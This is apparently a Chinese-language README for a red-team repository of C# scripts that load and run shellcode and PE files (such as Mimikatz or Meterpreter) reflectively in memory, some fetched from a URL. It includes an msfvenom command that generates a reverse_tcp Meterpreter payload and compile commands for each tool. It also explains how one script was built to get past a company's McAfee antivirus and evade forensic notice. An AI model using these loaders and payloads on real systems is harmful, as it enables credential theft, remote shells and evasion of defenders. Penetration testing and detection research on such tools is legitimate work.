作者:Arno0x0x - @Arno0x0x
本仓库旨在发布我的一些 C# 脚本。其中一些只是从我在各处找到的其他脚本分叉或受其启发而来,我对其进行了调整以符合我的需求,或者仅仅是为了学习和改进。
bfDecryptShellcode.cs
这个脚本有点笨,可能不是一个很有用的 PoC,用于对多字节 XOR 加密的 shellcode 进行暴力破解解密。一旦 shellcode 被解密,它就会被加载到内存中并执行。
要使用它,你需要两样东西:
你可以使用我的 ShellcodeWrapper 项目,并向其提供任意 raw metasploit payload 来获得这两者。
parseAssembly.cs
这个控制台应用程序将动态加载一个 .Net 程序集(exe 或 dll),可以从本地文件加载,也可以从 URL 下载,可选地采用 base64 编码。加载后,它将枚举其类型、方法和属性。
示例:
parseAssembly.exe myAssembly.dll
或
parseAssembly.exe http://some.site.com/myAssembly base64
这是一组改编自 Casey Smith(@subTee)关于从各种来源将 PE 或 shellcode 反射注入调用进程的工作的脚本。
peloader.cs
这个脚本将一个 base64 编码的 x64 PE 文件(例如:Mimikatz 或 Meterpreter)加载到进程内存中并以反射方式执行它。PE 作为 base64 字符串变量在文件开头传入(是的,它是硬编码的)。
你可以使用以下 *nix 命令行从任意文件生成这个 base64 编码字符串:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认已安装):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
该脚本将 shellcode 执行到进程内存中,并以反射方式执行它。shellcode 以字节数组的形式通过变量传入。你可以使用 Metasploit 的 msfvenom 工具自动为你生成该数组的合适代码。例如,要生成一个 reverse_tcp meterpreter shellcode:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认已安装):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
此脚本在很大程度上(且毫不掩饰地)基于、受启发于、衍生自 Casey Smith(@subTee)在 Netkatz 上的工作。
我发现我公司工作站上的本地杀毒软件(McAfee)被配置为不分析 ZIP 文件的内容,这大概是因为它假定每当要读取或执行该内容时,通常都会先将其解压到磁盘上的某个位置,而其中的任何恶意内容届时都会被杀毒软件捕获。
此脚本所做的是将所有内容加载到内存中,并且仅从内存中运行,同时还使用反射从调用进程的内存中执行 PE。
因此,不仅杀毒软件完全不会报警,而且从取证的角度来看,唯一“可见运行的进程”看起来也完全无害。
在 Windows 机器上编译此脚本需要 .Net 框架(Windows 7 及更高版本默认安装):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
然后你可以执行:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
此脚本大量基于 Casey Smith(@subTee)在 Netkatz 上的工作,并从中获得灵感。
Netkatz 是一个出色的 PoC,它可以从 GitHub 加载最新版本的 mimikatz,并直接在内存中执行。然而,在我的环境中遇到了三个问题:
因此我修改了原始的 netkatz 脚本以解决这三个问题:
下载隐藏 PE 的 URL 硬编码在脚本中。
在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认安装):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs